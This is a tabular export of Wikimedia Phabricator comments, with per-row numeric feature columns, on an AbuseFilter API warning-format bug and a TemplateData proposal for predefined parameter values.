246082,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property","(Sorry, if my last comment was unlcear:) Showing the full warning message, I mean.",,,1373930726,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,16.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.6315789473684212,0.9473684210526315,"(Sorry, if my last comment was unlcear:) Showing the full warning message, I mean."
246074,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property","(In reply to comment #2)
> I don't think this is really what people want to be doing (regardless of
> whether HTML is being presented by this call or not). Take a look at filter
> 554
> on English Wikipedia (http://en.wikipedia.org/wiki/Special:AbuseFilter/554).
> Note how it triggers a message of abusefilter-top100. That causes the
> standard
> wikitext editor to display
> http://en.wikipedia.org/w/index.php?title=MediaWiki:abusefilter-top100 which
> explains what's wrong with the edit. That's what you need to display, not the
> short description (in this case ""top100 blog charts"", which doesn't mean
> squat
> to a new editor).

That's exactly what we're trying to do.",,,1373930605,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,7.0,23.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.953488372093023,0.46511627906976744,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's exactly what we're trying to do."
246065,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property","Change 73895 had a related patch set uploaded by Hoo man:
Really parse the API warning in the APIEditBeforeSave hook

https://gerrit.wikimedia.org/r/73895",,,1373929226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.583333333333333,0.9583333333333334,"Change 73895 had a related patch set uploaded by Hoo man:
Really parse the API warning in the APIEditBeforeSave hook

GERRIT_URL"
246055,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property","**kwwilliams** wrote:

I don't think this is really what people want to be doing (regardless of whether HTML is being presented by this call or not). Take a look at filter 554 on English Wikipedia (http://en.wikipedia.org/wiki/Special:AbuseFilter/554). Note how it triggers a message of abusefilter-top100. That causes the standard wikitext editor to display http://en.wikipedia.org/w/index.php?title=MediaWiki:abusefilter-top100 which explains what's wrong with the edit. That's what you need to display, not the short description (in this case ""top100 blog charts"", which doesn't mean squat to a new editor).",,,1373928926,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,1.0,3.0,3.5,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.5,0.0,4.5,8.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.5,1.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,12.0,2.5,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,1.5,0.0,1.0,0.5,4.5,2.0,6.5,1.0,0.5,10.5,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,2.0,8.0,4.5,0.0,2.0,0.0,2.0,0.0,4.5,2.0,0.0,0.5,0.0,0.0,0.0,3.7617845117845117,0.7883838383838384,"**kwwilliams** wrote:

I don't think this is really what people want to be doing (regardless of whether HTML is being presented by this call or not). Take a look at filter 554 on English Wikipedia (URL Note how it triggers a message of abusefilter-top100. That causes the standard wikitext editor to display URL which explains what's wrong with the edit. That's what you need to display, not the short description (in this case ""top100 blog charts"", which doesn't mean squat to a new editor)."
246047,"AbuseFilter: API is responding with wikitext instead of HTML in the ""warning"" property",That's because Status::getHTML isn't actually doing real parsing... going to look at this tomorrow,,,1373928143,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-6s22kiygdurpmwpk3lqs,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,5.0,1.0,That's because Status::getHTML isn't actually doing real parsing... going to look at this tomorrow
53375,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Sometimes for templates, you have a pre-defined set of values to use for a parameter. Perhaps it could be a nice thing to expose valid values to the user in a drop down or something.",High,80.0,1373910060,,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-eddbh3tcvexylixr6tiy,task_description,open,True,c1,3,False,False,,2,,0.0,2.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,18.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,5.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.7,0.8,"Sometimes for templates, you have a pre-defined set of values to use for a parameter. Perhaps it could be a nice thing to expose valid values to the user in a drop down or something."
1841604,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","we should distinguish between visualeditor and templatedata.
templatedata provides a syntax to describe the template behavior, and is used not just by visualeditor, but other tools too.

whatever VE decides to do with ""illegal"" values is an interesting question, but TD itself should allow distinction between ""suggested values"" and ""legal values"", because the template syntax itself makes this distinction.  VE can ignore this distinction or not, but TD should provide this information.

suggestedvalues serves templates that use {{#switch, and there are several different behaviors when param value is not present as one of the options: 
  - the switch may have #default, which does something useful - IOW, an ""unsuggested"" value is still legal
  - it can have no #default, practically ignoring the value
  - the #default can trigger an error.

TD syntax should allow better description of the behavior, so, e.g., ""template linting"" tools can detect and flag pages where a template with ""suggested values"" is used with ""unsuggested"" value: it can be an error worth flagging (2nd and 3rd cases above, where suggested values really means legal values), and not flag it for parameters whose behavior match the 1st case. 

this is not a theoretical/hypothetical issue - such tools exist, and are used on several projects (see, e.g., Module:ParamValidator on hewiki and yiwiki).

peace.",,,1641663466,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,444,,0.6666666666666666,0.3333333333333333,0.0,1.0,1.6666666666666667,7.333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,6.0,5.0,0.3333333333333333,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,2.0,0.0,0.3333333333333333,5.666666666666667,1.0,1.6666666666666667,1.0,0.0,0.0,0.3333333333333333,1.3333333333333333,2.0,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,16.666666666666668,0.3333333333333333,1.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,5.0,3.0,2.6666666666666665,1.3333333333333333,4.333333333333333,7.666666666666667,0.0,0.0,0.0,1.3333333333333333,5.0,0.0,0.3333333333333333,0.0,2.0,5.0,2.6666666666666665,0.0,4.666666666666667,0.0,2.0,0.0,2.3333333333333335,2.3333333333333335,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,4.197895218485472,0.6465721040189126,"we should distinguish between visualeditor and templatedata.
templatedata provides a syntax to describe the template behavior, and is used not just by visualeditor, but other tools too.

whatever VE decides to do with ""illegal"" values is an interesting question, but TD itself should allow distinction between ""suggested values"" and ""legal values"", because the template syntax itself makes this distinction.  VE can ignore this distinction or not, but TD should provide this information.

suggestedvalues serves templates that use {{#switch, and there are several different behaviors when param value is not present as one of the options: 
  - the switch may have #default, which does something useful - IOW, an ""unsuggested"" value is still legal
  - it can have no #default, practically ignoring the value
  - the #default can trigger an error.

TD syntax should allow better description of the behavior, so, e.g., ""template linting"" tools can detect and flag pages where a template with ""suggested values"" is used with ""unsuggested"" value: it can be an error worth flagging (2nd and 3rd cases above, where suggested values really means legal values), and not flag it for parameters whose behavior match the 1st case. 

this is not a theoretical/hypothetical issue - such tools exist, and are used on several projects (see, e.g., Module:ParamValidator on hewiki and yiwiki).

peace."
1684699,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","If I have a template that accepts three values for `foo` and renders an error if given anything else, would the user be able to enter a disallowed value using the ""suggested values"" user interface in such a way that they will not be surprised or dissapointed to see an error in the rendering – after they have saved their changes in the template dialog?

If I understand correctly, the ""suggested value"" feature is about autocompleting and/or recommending values in a free-form input field, and does not intend to add friction, make impossible, or ""power-user only"" to enter other free-form values, e.g. a basic HTML select field with no easy way to break out of it, unless the page had a pre-existing unexpected value that VE would need to accomodate for roundtrip. That is what an ""options"" or ""ENUM"" feature would be like in the end, I think.

Having said that, implementing suggested values first is fine of course. And depending on the kind of user experience you want to deliver, it might even make sense to provide both of these as part of the same single input type, with a toggleable restriction for free-form values (`allowOther: false`?). There are many ways to implement these two features differently and I don't think it's obvious that they'll be similar in logic and look, but it is also possible to make them similar/shared. Whether that's the best UX, I don't know. Something to consider I suppose :)",,,1615828425,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,True,,,402,,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,1.3333333333333333,7.666666666666667,2.0,0.0,0.0,1.3333333333333333,2.6666666666666665,1.0,0.0,0.3333333333333333,0.3333333333333333,2.0,1.0,4.0,13.333333333333334,0.6666666666666666,3.6666666666666665,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,5.666666666666667,3.0,1.3333333333333333,1.6666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,1.6666666666666667,0.0,1.0,0.0,1.0,0.6666666666666666,0.3333333333333333,0.0,15.333333333333334,1.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,1.6666666666666667,0.0,1.0,0.6666666666666666,0.3333333333333333,0.0,6.666666666666667,3.0,6.666666666666667,2.3333333333333335,3.3333333333333335,9.0,0.0,0.3333333333333333,0.0,0.0,7.666666666666667,0.0,0.6666666666666666,0.0,5.333333333333333,13.333333333333334,1.6666666666666667,0.6666666666666666,3.3333333333333335,0.0,5.333333333333333,0.0,1.3333333333333333,3.3333333333333335,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,3.918607847179276,0.7231155088297946,"If I have a template that accepts three values for CODE and renders an error if given anything else, would the user be able to enter a disallowed value using the ""suggested values"" user interface in such a way that they will not be surprised or dissapointed to see an error in the rendering – after they have saved their changes in the template dialog?

If I understand correctly, the ""suggested value"" feature is about autocompleting and/or recommending values in a free-form input field, and does not intend to add friction, make impossible, or ""power-user only"" to enter other free-form values, e.g. a basic HTML select field with no easy way to break out of it, unless the page had a pre-existing unexpected value that VE would need to accomodate for roundtrip. That is what an ""options"" or ""ENUM"" feature would be like in the end, I think.

Having said that, implementing suggested values first is fine of course. And depending on the kind of user experience you want to deliver, it might even make sense to provide both of these as part of the same single input type, with a toggleable restriction for free-form values (CODE?). There are many ways to implement these two features differently and I don't think it's obvious that they'll be similar in logic and look, but it is also possible to make them similar/shared. Whether that's the best UX, I don't know. Something to consider I suppose :)"
1684652,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","This can most certainly be closed via {T271825}. While it's not 100% the same, it should be sufficient to resolve the relevant use case.",,,1615826667,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,402,,0.0,0.0,0.0,3.0,3.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,10.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,6.0,10.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.6451612903225805,0.8709677419354839,"This can most certainly be closed via {T271825}. While it's not 100% the same, it should be sufficient to resolve the relevant use case."
1448999,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)",">>! In T53375#5769182, @Tacsipacsi wrote:
> ```lang=json
> 			{""label"": ..., ""value"": ...},
> ```
where the label should be an InterfaceText (i.e. localizable) or null; like all other InterfaceTexts, plain string input should be accepted and transformed by the extension. The value is a plain string, of course.",,,1582479107,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,346,,2.0,0.0,0.0,2.0,0.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,11.0,2.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,4.266666666666667,0.8,"QUOTE
QUOTE
where the label should be an InterfaceText (i.e. localizable) or null; like all other InterfaceTexts, plain string input should be accepted and transformed by the extension. The value is a plain string, of course."
1417852,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","A suggestion from https://www.mediawiki.org/wiki/Topic:Ve06hyihctm4p86n is to allow labels different from the actual value. It can be stored for example with:
```lang=json
""params"": {
	""key"": {
		""type"": ...,
		""values"": [
			{""label"": ..., ""value"": ...},
			...
		]
	}
}
```
Maybe plain strings should also be allowed for convenience, which could be transformed by the extension to
```lang=json
{""label"": null, ""value"": ...}
```
form. (I’d also suggest to always display the actual value in addition to the label, but that’s up to the consumers, of course.)",,,1577874176,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,339,,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,18.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,0.7333333333333333,"A suggestion from URL is to allow labels different from the actual value. It can be stored for example with:
``CODE`CODE`CODE``
form. (I’d also suggest to always display the actual value in addition to the label, but that’s up to the consumers, of course.)"
1112189,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Change 263655 restored by Krinkle:
[WIP] Add a parameter key to limit possible valid values to a given set

[[https://gerrit.wikimedia.org/r/263655]]",,,1532906726,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,264,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,3.6206896551724137,0.7931034482758621,"Change 263655 restored by Krinkle:
[WIP] Add a parameter key to limit possible valid values to a given set

[[GERRIT_URL]]"
962355,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Is this still on the docket? It's vital. Is there some other way of specifying valid string values in TemplateData (TD)? If not, that would appear to be a large oversight if TD is supposed to help users easily interact with template params",,,1510282456,,PHID-USER-ruf4kh5stzv33ntxol2w,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,227,,2.0,0.0,0.0,2.0,2.0,8.0,4.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,14.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,16.0,6.0,4.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.94,0.92,"Is this still on the docket? It's vital. Is there some other way of specifying valid string values in TemplateData (TD)? If not, that would appear to be a large oversight if TD is supposed to help users easily interact with template params"
957154,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)",It would also be useful to be able to use a set of possible values provided by some template/module.,,,1509551476,,PHID-USER-6xgsmxxl62mgxypce6oa,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,226,,5.0,0.0,0.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.9090909090909091,It would also be useful to be able to use a set of possible values provided by some template/module.
955145,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","That's something which would be extremely useful.

I'm currently working on a proposal for ease Wikitionary contribution through templatedata. Such a feature would for example allow to select word category (verb, adjective…). ",,,1509222111,,PHID-USER-6xgsmxxl62mgxypce6oa,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,225,,0.0,2.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,4.642857142857143,0.8809523809523809,"That's something which would be extremely useful.

I'm currently working on a proposal for ease Wikitionary contribution through templatedata. Such a feature would for example allow to select word category (verb, adjective…). "
787891,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Change 263655 abandoned by Alex Monk:
[WIP] Add a parameter key to limit possible valid values to a given set

[[https://gerrit.wikimedia.org/r/263655]]",,,1483653112,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,183,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,3.566666666666667,0.8,"Change 263655 abandoned by Alex Monk:
[WIP] Add a parameter key to limit possible valid values to a given set

[[GERRIT_URL]]"
589170,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Change 263655 had a related patch set uploaded (by Alex Monk):
[WIP] Add a parameter key to limit possible valid values to a given set

[[https://gerrit.wikimedia.org/r/263655]]
",,,1452629730,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,132,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,11.0,3.4594594594594597,0.7567567567567568,"Change 263655 had a related patch set uploaded (by Alex Monk):
[WIP] Add a parameter key to limit possible valid values to a given set

[[GERRIT_URL]]
"
444533,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)",">>! In T53375#564935, @Krinkle wrote:
>  params: {
>   ""key"": {
>     ""type"": ...
>     ""values"": [ .. ]

Seems a good way of specifying it, +1",,,1429186483,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-eddbh3tcvexylixr6tiy,task_subcomment,,True,c1,3,False,,,93,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,26.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.210526315789474,0.631578947368421,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Seems a good way of specifying it, +1"
1658584,"TemplateData: Add parameter type for selecting one of predefined values (like ""<select>"" or ENUM)","Yeah, we should add this. Though it doesn't have to be as a parameter type. I imagine we could also do it more generically.

```
 params: {
  ""key"": {
    ""type"": ...
    ""values"": [ .. ]
```

The upside is that this is easier to specify and validate.

An nice bonus is that it would allow one to preserve types regardless of whether the possible values are finite or not (e.g. freeform strings, numbers, dates, page names).

Down side is that it's tricky for consumers like VisualEditor to have a dropdown menu for values that aren't simple strings.

But I think that's fine. Those consumers can choose to support it however they like. E.g. they could support ""values"" only for string values.

As a nice bonus this would allow VisualEditor to make dedicated select interfaces much better. E.g. a colour picker with limited values could be a row with squares and you visually pick one of those colours (like radio buttons). And a parameter that takes file names (e.g. for icons), could have live previews for the 10 different icons it supports.

The type-restricted implementation would look something like this:

```
 params: {
  ""key"": {
    ""type"": ""options""
    ""values"": [ .. ]
```

And would treat them as type: 'string' with no further type association.

